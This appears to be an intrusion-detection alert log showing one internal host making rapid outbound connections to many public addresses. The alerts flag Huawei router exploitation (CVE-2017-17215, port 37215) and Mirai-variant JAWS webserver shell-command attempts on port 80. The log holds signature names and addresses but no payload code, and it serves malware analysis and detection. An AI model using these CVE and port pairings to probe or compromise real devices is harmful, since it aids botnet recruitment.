2024-12-03T22:12:14.273128+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35998	197.6.129.118	37215	TCP
2024-12-03T22:12:14.274588+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37922	92.13.254.172	80	TCP
2024-12-03T22:12:14.274588+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37922	92.13.254.172	80	TCP
2024-12-03T22:12:14.274605+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57990	179.139.164.55	80	TCP
2024-12-03T22:12:14.274605+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57990	179.139.164.55	80	TCP
2024-12-03T22:12:14.288325+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58282	41.207.246.186	37215	TCP
2024-12-03T22:12:14.306016+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44822	24.30.197.102	80	TCP
2024-12-03T22:12:14.306016+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44822	24.30.197.102	80	TCP
2024-12-03T22:12:14.315472+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54656	93.254.60.25	80	TCP
2024-12-03T22:12:14.315472+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54656	93.254.60.25	80	TCP
2024-12-03T22:12:14.315841+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34700	123.143.40.243	80	TCP
2024-12-03T22:12:14.315841+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34700	123.143.40.243	80	TCP
2024-12-03T22:12:14.337696+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47578	13.196.196.235	80	TCP
2024-12-03T22:12:14.337696+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47578	13.196.196.235	80	TCP
2024-12-03T22:12:14.346292+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53214	65.236.202.115	80	TCP
2024-12-03T22:12:14.346292+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53214	65.236.202.115	80	TCP
2024-12-03T22:12:14.346408+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42318	167.115.243.47	80	TCP
2024-12-03T22:12:14.346408+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42318	167.115.243.47	80	TCP
2024-12-03T22:12:14.377641+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40266	36.128.111.41	80	TCP
2024-12-03T22:12:14.377641+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40266	36.128.111.41	80	TCP
2024-12-03T22:12:14.377685+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53218	113.28.235.30	80	TCP
2024-12-03T22:12:14.377685+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53218	113.28.235.30	80	TCP
2024-12-03T22:12:14.377828+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37190	4.207.41.110	80	TCP
2024-12-03T22:12:14.377828+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37190	4.207.41.110	80	TCP
2024-12-03T22:12:15.009468+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59654	156.214.207.66	37215	TCP
2024-12-03T22:12:15.040046+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57150	197.115.231.209	37215	TCP
2024-12-03T22:12:15.065159+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40116	156.124.60.241	37215	TCP
2024-12-03T22:12:15.065215+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36106	156.86.224.106	37215	TCP
2024-12-03T22:12:15.065534+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59548	197.120.15.57	37215	TCP
2024-12-03T22:12:15.071671+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39918	156.37.11.97	37215	TCP
2024-12-03T22:12:15.080588+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34314	197.194.225.14	37215	TCP
2024-12-03T22:12:15.080697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55898	197.102.76.136	37215	TCP
2024-12-03T22:12:15.086931+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45194	197.194.144.225	37215	TCP
2024-12-03T22:12:15.087299+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39692	41.80.180.178	37215	TCP
2024-12-03T22:12:15.087327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34930	41.255.20.86	37215	TCP
2024-12-03T22:12:15.087334+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42458	156.35.235.116	37215	TCP
2024-12-03T22:12:15.087339+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47528	41.250.32.220	37215	TCP
2024-12-03T22:12:15.087357+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47312	41.184.3.254	37215	TCP
2024-12-03T22:12:15.087390+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45514	197.59.17.178	37215	TCP
2024-12-03T22:12:15.096233+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47878	156.162.252.29	37215	TCP
2024-12-03T22:12:15.096375+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36640	156.85.114.140	37215	TCP
2024-12-03T22:12:15.096584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52672	197.223.193.153	37215	TCP
2024-12-03T22:12:15.096593+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54892	197.55.121.154	37215	TCP
2024-12-03T22:12:15.096610+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48390	197.149.109.250	37215	TCP
2024-12-03T22:12:15.102659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33738	156.210.68.86	37215	TCP
2024-12-03T22:12:15.102781+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53488	197.205.232.108	37215	TCP
2024-12-03T22:12:15.102871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43208	41.244.89.175	37215	TCP
2024-12-03T22:12:15.103074+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46270	41.4.101.209	37215	TCP
2024-12-03T22:12:15.103081+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51350	156.143.38.41	37215	TCP
2024-12-03T22:12:15.103153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36238	156.114.213.59	37215	TCP
2024-12-03T22:12:15.103262+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47336	197.251.221.207	37215	TCP
2024-12-03T22:12:15.103388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35626	156.183.41.159	37215	TCP
2024-12-03T22:12:15.111969+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33986	156.63.198.34	37215	TCP
2024-12-03T22:12:15.112075+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33946	156.0.99.185	37215	TCP
2024-12-03T22:12:15.112077+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51678	197.216.4.85	37215	TCP
2024-12-03T22:12:15.118484+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40818	197.137.99.7	37215	TCP
2024-12-03T22:12:15.118564+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40972	41.116.28.129	37215	TCP
2024-12-03T22:12:15.127654+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49640	41.152.245.211	37215	TCP
2024-12-03T22:12:15.127995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41286	197.138.48.81	37215	TCP
2024-12-03T22:12:15.133890+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38890	41.210.191.65	37215	TCP
2024-12-03T22:12:15.135138+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55190	197.132.47.59	37215	TCP
2024-12-03T22:12:15.143327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58434	41.44.55.171	37215	TCP
2024-12-03T22:12:15.143590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56104	156.109.62.186	37215	TCP
2024-12-03T22:12:15.143590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40582	197.90.173.218	37215	TCP
2024-12-03T22:12:15.143861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38036	41.86.39.229	37215	TCP
2024-12-03T22:12:15.143975+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41206	156.20.177.69	37215	TCP
2024-12-03T22:12:15.144410+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37818	156.64.61.35	37215	TCP
2024-12-03T22:12:15.144647+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57124	41.135.11.62	37215	TCP
2024-12-03T22:12:15.144650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33316	156.188.165.91	37215	TCP
2024-12-03T22:12:15.144786+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35230	41.97.159.163	37215	TCP
2024-12-03T22:12:15.146025+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43368	197.203.23.32	37215	TCP
2024-12-03T22:12:15.174438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50122	197.12.39.12	37215	TCP
2024-12-03T22:12:15.174574+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53650	156.12.237.133	37215	TCP
2024-12-03T22:12:15.176439+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52042	156.9.37.230	37215	TCP
2024-12-03T22:12:15.221347+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57274	41.182.215.161	37215	TCP
2024-12-03T22:12:15.259596+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46164	41.87.47.67	37215	TCP
2024-12-03T22:12:15.274446+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34432	41.141.218.151	37215	TCP
2024-12-03T22:12:15.290252+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57218	156.103.109.243	37215	TCP
2024-12-03T22:12:15.290622+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34610	197.202.156.108	37215	TCP
2024-12-03T22:12:15.306644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43664	197.149.227.205	37215	TCP
2024-12-03T22:12:15.307457+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57970	85.19.189.63	80	TCP
2024-12-03T22:12:15.307457+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57970	85.19.189.63	80	TCP
2024-12-03T22:12:15.346329+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43134	72.124.120.20	80	TCP
2024-12-03T22:12:15.346329+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43134	72.124.120.20	80	TCP
2024-12-03T22:12:15.346612+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55636	197.209.146.144	37215	TCP
2024-12-03T22:12:15.346869+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57792	50.183.212.32	80	TCP
2024-12-03T22:12:15.346869+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57792	50.183.212.32	80	TCP
2024-12-03T22:12:15.346954+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50668	197.133.211.94	37215	TCP
2024-12-03T22:12:15.643547+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45648	220.77.138.145	80	TCP
2024-12-03T22:12:15.643547+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45648	220.77.138.145	80	TCP
2024-12-03T22:12:15.643559+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33884	143.229.68.126	80	TCP
2024-12-03T22:12:15.643559+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33884	143.229.68.126	80	TCP
2024-12-03T22:12:15.971233+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43908	192.171.193.125	80	TCP
2024-12-03T22:12:15.971233+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43908	192.171.193.125	80	TCP
2024-12-03T22:12:16.181000+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52082	128.238.186.37	80	TCP
2024-12-03T22:12:16.181000+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52082	128.238.186.37	80	TCP
2024-12-03T22:12:16.196832+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48038	104.201.153.104	80	TCP
2024-12-03T22:12:16.196832+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48038	104.201.153.104	80	TCP
2024-12-03T22:12:16.205729+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45294	129.161.63.20	80	TCP
2024-12-03T22:12:16.205729+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45294	129.161.63.20	80	TCP
2024-12-03T22:12:16.284131+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33058	168.46.253.58	80	TCP
2024-12-03T22:12:16.284131+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33058	168.46.253.58	80	TCP
2024-12-03T22:12:16.290029+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46618	24.101.117.10	80	TCP
2024-12-03T22:12:16.290029+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46618	24.101.117.10	80	TCP
2024-12-03T22:12:16.368363+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36394	213.129.144.154	80	TCP
2024-12-03T22:12:16.368363+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36394	213.129.144.154	80	TCP
2024-12-03T22:12:17.556024+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35174	49.234.44.240	80	TCP
2024-12-03T22:12:17.556024+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35174	49.234.44.240	80	TCP
2024-12-03T22:12:17.572057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40326	193.30.24.101	80	TCP
2024-12-03T22:12:17.572057+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40326	193.30.24.101	80	TCP
2024-12-03T22:12:17.587101+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58094	165.57.79.173	80	TCP
2024-12-03T22:12:17.587101+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58094	165.57.79.173	80	TCP
2024-12-03T22:12:17.587240+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38614	145.211.196.152	80	TCP
2024-12-03T22:12:17.587240+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38614	145.211.196.152	80	TCP
2024-12-03T22:12:17.676949+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40892	162.132.171.68	80	TCP
2024-12-03T22:12:17.676949+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40892	162.132.171.68	80	TCP
2024-12-03T22:12:17.676950+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43660	50.153.197.44	80	TCP
2024-12-03T22:12:17.676950+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43660	50.153.197.44	80	TCP
2024-12-03T22:12:17.676959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50050	83.202.167.205	80	TCP
2024-12-03T22:12:17.676959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50050	83.202.167.205	80	TCP
2024-12-03T22:12:17.676959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41484	124.56.130.85	80	TCP
2024-12-03T22:12:17.676959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41484	124.56.130.85	80	TCP
2024-12-03T22:12:17.676959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59968	200.45.13.12	80	TCP
2024-12-03T22:12:17.676959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59968	200.45.13.12	80	TCP
2024-12-03T22:12:17.676960+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45184	75.15.104.162	80	TCP
2024-12-03T22:12:17.676960+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45184	75.15.104.162	80	TCP
2024-12-03T22:12:17.676961+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45616	66.116.195.48	80	TCP
2024-12-03T22:12:17.676961+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45616	66.116.195.48	80	TCP
2024-12-03T22:12:17.676963+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37020	24.100.84.87	80	TCP
2024-12-03T22:12:17.676963+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37020	24.100.84.87	80	TCP
2024-12-03T22:12:17.676963+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48358	121.166.170.173	80	TCP
2024-12-03T22:12:17.676963+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48358	121.166.170.173	80	TCP
2024-12-03T22:12:17.831114+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43902	41.57.42.235	37215	TCP
2024-12-03T22:12:18.321853+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47776	41.104.46.48	37215	TCP
2024-12-03T22:12:18.321917+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46350	197.69.77.153	37215	TCP
2024-12-03T22:12:18.337674+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33162	41.104.114.211	37215	TCP
2024-12-03T22:12:18.337675+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51038	156.100.177.250	37215	TCP
2024-12-03T22:12:18.339709+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45184	156.223.160.22	37215	TCP
2024-12-03T22:12:18.352829+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39240	156.11.199.65	37215	TCP
2024-12-03T22:12:18.362317+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39804	156.238.183.10	37215	TCP
2024-12-03T22:12:18.384477+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46240	41.161.237.232	37215	TCP
2024-12-03T22:12:18.393366+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39916	41.70.104.246	37215	TCP
2024-12-03T22:12:18.395189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43022	197.73.153.0	37215	TCP
2024-12-03T22:12:18.424731+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35748	197.22.145.57	37215	TCP
2024-12-03T22:12:18.425012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38628	41.145.228.53	37215	TCP
2024-12-03T22:12:18.471457+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35220	197.138.120.236	37215	TCP
2024-12-03T22:12:18.549427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33134	41.254.145.21	37215	TCP
2024-12-03T22:12:18.618455+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38270	169.247.250.168	80	TCP
2024-12-03T22:12:18.618455+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38270	169.247.250.168	80	TCP
2024-12-03T22:12:18.681205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47278	201.19.217.8	80	TCP
2024-12-03T22:12:18.681205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47278	201.19.217.8	80	TCP
2024-12-03T22:12:18.696507+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41488	57.77.154.206	80	TCP
2024-12-03T22:12:18.696507+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41488	57.77.154.206	80	TCP
2024-12-03T22:12:18.696518+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35208	210.29.183.145	80	TCP
2024-12-03T22:12:18.696518+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35208	210.29.183.145	80	TCP
2024-12-03T22:12:18.727485+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40238	178.171.45.145	80	TCP
2024-12-03T22:12:18.727485+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40238	178.171.45.145	80	TCP
2024-12-03T22:12:18.729406+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49284	217.102.222.209	80	TCP
2024-12-03T22:12:18.729406+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49284	217.102.222.209	80	TCP
2024-12-03T22:12:18.729661+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47894	139.51.191.171	80	TCP
2024-12-03T22:12:18.729661+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47894	139.51.191.171	80	TCP
2024-12-03T22:12:18.759244+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57446	139.139.2.17	80	TCP
2024-12-03T22:12:18.759244+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57446	139.139.2.17	80	TCP
2024-12-03T22:12:18.768478+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32926	133.205.30.205	80	TCP
2024-12-03T22:12:18.768478+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32926	133.205.30.205	80	TCP
2024-12-03T22:12:18.808846+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52462	142.50.5.178	80	TCP
2024-12-03T22:12:18.808846+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52462	142.50.5.178	80	TCP
2024-12-03T22:12:18.809013+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45658	197.214.144.74	80	TCP
2024-12-03T22:12:18.809013+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45658	197.214.144.74	80	TCP
2024-12-03T22:12:18.811782+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49460	162.215.180.62	80	TCP
2024-12-03T22:12:18.811782+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49460	162.215.180.62	80	TCP
2024-12-03T22:12:19.352699+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54928	4.29.253.50	80	TCP
2024-12-03T22:12:19.352699+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54928	4.29.253.50	80	TCP
2024-12-03T22:12:19.384103+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44096	177.25.213.167	80	TCP
2024-12-03T22:12:19.384103+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44096	177.25.213.167	80	TCP
2024-12-03T22:12:19.384544+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45014	156.107.32.220	37215	TCP
2024-12-03T22:12:19.385138+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32996	204.33.164.130	80	TCP
2024-12-03T22:12:19.385138+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32996	204.33.164.130	80	TCP
